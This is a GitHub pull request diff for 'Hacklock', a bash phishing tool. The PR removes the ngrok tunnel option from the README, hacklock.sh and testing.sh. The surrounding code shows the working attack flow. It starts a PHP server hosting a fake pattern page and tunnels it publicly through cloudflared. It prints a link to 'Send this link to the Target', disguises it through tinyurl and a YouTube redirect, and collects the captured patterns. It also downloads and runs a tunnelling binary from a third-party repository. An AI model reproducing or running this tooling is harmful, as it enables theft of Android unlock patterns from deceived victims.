Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Removes ngrok as a tunneling option as this tool violates it's terms of service #35

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
6 changes: 2 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,10 @@ Hacklock is a bash based script which is officially termux from this tool in jus
* internet 100 MB
* php
* storage 1 GB
* ngrok

## FEATURES :
* [+] Real pattern hacking !
* [+] Updated maintainence !
* [+] Ngrok link
* [+] Updated maintenance !
* [+] Cloudflare link
* [+] Easy for Beginners !

Expand All @@ -68,7 +66,7 @@ Hacklock is a bash based script which is officially termux from this tool in jus
```
[+]--Now you need internet connection to continue further process and Turn on your device hotspot to get link...

[+]--You will recieve patter pin in below image you can see pattern with numbers
[+]--You will receive patter pin in below image you can see pattern with numbers

[+]--You can select any option by clicking on your keyboard

Expand Down
54 changes: 4 additions & 50 deletions hacklock.sh
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,6 @@ menu() {
printf "\e[1;92m[\e[0m\e[1;77m1\e[0m\e[1;92m]\e[0m\e[1;93m Check pattern\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m2\e[0m\e[1;92m]\e[0m\e[1;93m More Tools\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m3\e[0m\e[1;92m]\e[0m\e[1;93m Chat\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m4\e[0m\e[1;92m]\e[0m\e[1;93m Fix \e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m5\e[0m\e[1;92m]\e[0m\e[1;93m Follow\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m6\e[0m\e[1;92m]\e[0m\e[1;93m Update\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m7\e[0m\e[1;92m]\e[0m\e[1;93m About \e[0m\n"
Expand All @@ -88,18 +87,16 @@ am start -a android.intent.action.VIEW -d https://bit.ly/3aP8DJD > /dev/null 2>&
elif [[ $option == 3 || $option == 03 ]]; then
am start -a android.intent.action.VIEW -d https://bit.ly/nhwhatschat > /dev/null 2>&1
elif [[ $option == 4 || $option == 04 ]]; then
fixer
elif [[ $option == 5 || $option == 05 ]]; then
am start -a android.intent.action.VIEW -d https://bit.ly/nhfollowus > /dev/null 2>&1
elif [[ $option == 6 || $option == 06 ]]; then
elif [[ $option == 5 || $option == 05 ]]; then
cd $HOME/hacklock/core/update/
bash update.sh
elif [[ $option == 7 || $option == 07 ]]; then
elif [[ $option == 6 || $option == 06 ]]; then
cd $HOME/hacklock/core/about/
bash about.sh
elif [[ $option == 8 || $option == 08 ]]; then
elif [[ $option == 7 || $option == 07 ]]; then
am start -a android.intent.action.VIEW -d https://bitly.com/nhytchannel > /dev/null 2>&1
elif [[ $option == 9 ]]; then
elif [[ $option == 8 ]]; then
exit 1
else
printf "\e[1;93m [!] Invalid option!\e[0m\n"
Expand All @@ -113,16 +110,10 @@ fi

####### Stop background execution #######
stop() {
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
checkphp=$(ps aux | grep -o "php" | head -n1)
checkcloud=$(ps aux | grep -o "cloudflared" | head -n1)
checkproot=$(ps aux | grep -o "proot" | head -n1)

if [[ $checkngrok == *'ngrok'* ]]; then
pkill -f -2 ngrok > /dev/null 2>&1
killall -2 ngrok > /dev/null 2>&1
fi

if [[ $checkphp == *'php'* ]]; then
pkill -f -2 php > /dev/null 2>&1
killall -2 php > /dev/null 2>&1
Expand Down Expand Up @@ -183,23 +174,6 @@ if [[ -e "$HOME/hacklock/cloudflare-log" ]]; then
rm -rf $HOME/hacklock/cloudflare-log
fi

if [[ -e "$HOME/hacklock/ngrok" ]]; then
echo " "
else
cd $HOME/hacklock
printf "\e[1;92m[\e[0m*\e[1;92m] Downloading Ngrok...\n"
wget -O ngrok https://github.com/noob-hackers/mrphish/raw/master/core/ngrok > /dev/null 2>&1
sleep 20
if [[ -e "$HOME/hacklock/ngrok" ]]; then
chmod +x ngrok
sleep 2.0
printf "\e[1;92m[\e[0m*\e[1;92m] Ngrok downloaded successfully.\n"
else
printf "\e[1;93m[!] Download error... \e[0m\n"
exit 1
fi
fi

if [[ -e "$HOME/hacklock/cloudflared" ]]; then
echo " "
else
Expand All @@ -221,15 +195,10 @@ printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
cd $HOME/hacklock/core/pattern && php -S 127.0.0.1:5678 > /dev/null 2>&1 &
sleep 5
printf "\e[1;92m[\e[0m*\e[1;92m] Starting forward servers...\n"
./ngrok http 127.0.0.1:5678 > /dev/null 2>&1 &
termux-chroot ./cloudflared -url 127.0.0.1:5678 --logfile $HOME/hacklock/cloudflare-log > /dev/null 2>&1 &
sleep 20
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9A-Za-z.-]*\.ngrok.io")
flare=$(grep -o 'https://[-0-9a-z]*.trycloudflare.com' "$HOME/hacklock/cloudflare-log")
printf "\e[1;92m[\e[0m*\e[1;92m] (NGROK) link:\e[0m\e[1;77m %s\e[0m\n" $link
printf "\e[1;92m[\e[0m*\e[1;92m] (Cloud Flare) link:\e[0m\e[1;77m %s\e[0m\n" $flare
ngrok_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$link" | head -n1)
printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Ngrok Short:\e[0m\e[1;77m %s \n' $ngrok_ip
cloud_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$flare" | head -n1)
printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Cloud Short:\e[0m\e[1;77m %s \n' $cloud_ip
printf "\n"
Expand All @@ -244,21 +213,6 @@ fi
start
}

####### Fix ngrok issue #######
fixer(){
clear
cd $HOME
ls -a >/dev/null 2>&1
rm -rf .ngrok2 >/dev/null 2>&1
printf "\e[1;92m WATCH THIS VIDEO www.noob-hackers.com\e[0m\n"
read -p $'\n\e[1;96m[\e[0m\e[1;92m+\e[0m\e[1;96m] NGROK AUTH CODE : \e[0m' name
./ngrok authtoken $name >/dev/null 2>&1
printf "\e[1;92m[\e[0m*\e[1;92m] NGROK FIXED SUCCESSFULLY:\e[0m\e[1;77m %s\e[0m\n"
printf "\e[1;92m[\e[0m*\e[1;92m] IF ITS NOT SOLVED THEN USE OPTION CHAT\e[0m\e[1;77m %s\e[0m\n"
sleep 6.0
exit 1
}

####### Check found data #######
checkfound() {
printf "\n"
Expand Down
54 changes: 4 additions & 50 deletions testing.sh
Original file line number Diff line number Diff line change
Expand Up @@ -88,18 +88,16 @@ am start -a android.intent.action.VIEW -d https://bit.ly/3aP8DJD > /dev/null 2>&
elif [[ $option == 3 || $option == 03 ]]; then
am start -a android.intent.action.VIEW -d https://bit.ly/nhwhatschat > /dev/null 2>&1
elif [[ $option == 4 || $option == 04 ]]; then
fixer
elif [[ $option == 5 || $option == 05 ]]; then
am start -a android.intent.action.VIEW -d https://bit.ly/nhfollowus > /dev/null 2>&1
elif [[ $option == 6 || $option == 06 ]]; then
elif [[ $option == 5 || $option == 05 ]]; then
cd $HOME/hacklock/core/update/
bash update.sh
elif [[ $option == 7 || $option == 07 ]]; then
elif [[ $option == 6 || $option == 06 ]]; then
cd $HOME/hacklock/core/about/
bash about.sh
elif [[ $option == 8 || $option == 08 ]]; then
elif [[ $option == 7 || $option == 07 ]]; then
am start -a android.intent.action.VIEW -d https://bitly.com/nhytchannel > /dev/null 2>&1
elif [[ $option == 9 ]]; then
elif [[ $option == 8 ]]; then
exit 1
else
printf "\e[1;93m [!] Invalid option!\e[0m\n"
Expand All @@ -113,15 +111,9 @@ fi

####### Stop background execution #######
stop() {
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
checkphp=$(ps aux | grep -o "php" | head -n1)
checkcloud=$(ps aux | grep -o "cloudflared" | head -n1)

if [[ $checkngrok == *'ngrok'* ]]; then
pkill -f -2 ngrok > /dev/null 2>&1
killall -2 ngrok > /dev/null 2>&1
fi

if [[ $checkphp == *'php'* ]]; then
pkill -f -2 php > /dev/null 2>&1
killall -2 php > /dev/null 2>&1
Expand Down Expand Up @@ -173,34 +165,11 @@ if [[ -e "$HOME/hacklock/core/pattern/usernames.txt" ]]; then
rm -rf $HOME/hacklock/core/pattern/usernames.txt
fi

if [[ -e "$HOME/hacklock/ngrok" ]]; then
echo " "
else
cd $HOME/hacklock
printf "\e[1;92m[\e[0m*\e[1;92m] Downloading Ngrok...\n"
wget -O ngrok https://github.com/noob-hackers/mrphish/raw/master/core/ngrok > /dev/null 2>&1
sleep 20
if [[ -e "$HOME/hacklock/ngrok" ]]; then
chmod +x ngrok
sleep 2.0
printf "\e[1;92m[\e[0m*\e[1;92m] Ngrok downloaded successfully.\n"
else
printf "\e[1;93m[!] Download error... \e[0m\n"
exit 1
fi
fi

####### Server start process #######
printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
cd $HOME/hacklock/core/pattern && php -S 127.0.0.1:5678 > /dev/null 2>&1 &
sleep 5

printf "\e[1;92m[\e[0m*\e[1;92m] Starting ngrok server...\n"
./ngrok http 127.0.0.1:5678 > /dev/null 2>&1 &
sleep 20

link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9A-Za-z.-]*\.ngrok.io")
printf "\e[1;92m[\e[0m*\e[1;92m] Send this link to the Target:\e[0m\e[1;77m %s\e[0m\n" $link
send_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$link" | head -n1)
printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip
printf "\n"
Expand All @@ -215,21 +184,6 @@ fi
start
}

####### Fix ngrok issue #######
fixer(){
clear
cd $HOME
ls -a >/dev/null 2>&1
rm -rf .ngrok2 >/dev/null 2>&1
printf "\e[1;92m WATCH THIS VIDEO www.noob-hackers.com\e[0m\n"
read -p $'\n\e[1;96m[\e[0m\e[1;92m+\e[0m\e[1;96m] NGROK AUTH CODE : \e[0m' name
./ngrok authtoken $name >/dev/null 2>&1
printf "\e[1;92m[\e[0m*\e[1;92m] NGROK FIXED SUCCESSFULLY:\e[0m\e[1;77m %s\e[0m\n"
printf "\e[1;92m[\e[0m*\e[1;92m] IF ITS NOT SOLVED THEN USE OPTION CHAT\e[0m\e[1;77m %s\e[0m\n"
sleep 6.0
exit 1
}

####### Check found data #######
checkfound() {
printf "\n"
Expand Down